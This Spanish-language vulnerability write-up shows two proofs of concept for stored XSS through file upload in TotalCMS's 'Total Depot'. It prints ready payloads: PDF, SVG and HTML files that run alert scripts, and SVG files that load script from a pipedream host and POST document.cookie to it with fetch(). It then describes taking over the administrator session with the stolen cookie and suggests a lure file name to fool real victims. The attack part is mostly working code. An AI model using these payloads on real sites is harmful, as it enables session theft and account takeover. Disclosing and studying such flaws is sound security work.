
TotalCMS está afectado por una vulnerabilidad de Carga Arbitraria de Archivos - XSS que permite Cross-Site Scripting (XSS) Almacenado y también el robo de cookies de sesión.
Descripción: TotalCMS está afectado por la vulnerabilidad de Carga Arbitraria de Archivos - XSS que permite Cross-Site Scripting (XSS) y también el robo de cookies de sesión.
Vectores de ataque: Una vulnerabilidad en la sanitización de carga de archivos de "Total Depot" permite subir un archivo PDF / SVG / HTML con un alert oculto de Cross-Site Scripting (XSS) y robar las cookies del usuario.
Voy a hacer 2 PoCs:
Empezamos con la primera PoC:
Al iniciar sesión en el panel de administración (https://www.totalcms.co/demo/total-cms/admin/), iremos al "Total Depot" del Sitio de Administración y subimos los archivos PDF / SVG y HTML con el XSS oculto.
Aquí están los payloads:
Es un payload XSS generado con la herramienta JS2PDFInjector y un payload js que contiene el siguiente contenido:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


Una vez subidos, si hacemos clic en el enlace podemos ver la ruta donde se almacenan:

Ruta de los archivos:



Y este es el resultado con el Cross-Site Scripting (XSS) de los 3 tipos de archivos y con las cookies del usuario:



Continuamos con la segunda PoC:
Vamos a fingir que somos un ciberdelincuente y vamos a robar las cookies de sesión del usuario, que serán enviadas al servidor.
En este caso he subido un archivo como PoC, pero en un caso real, podemos subir un archivo con un nombre interesante como "NBA Tickets" y publicarlo, para que el usuario víctima me envíe las cookies al ejecutar el archivo, sin darse cuenta.
En primer lugar, realizamos una prueba para ver si tenemos comunicación con un servidor externo.
Aquí está el payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


Como vemos en la Request de pipedream, hemos obtenido la petición correctamente.
Aquí está el payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
Lo ejecutamos:


Como vemos en la imagen, hemos obtenido correctamente las cookies de sesión del usuario.

Modificamos la cookie de sesión por la obtenida en pipestream y guardamos.

Recargamos el sitio web y hemos suplantado al usuario administrador.
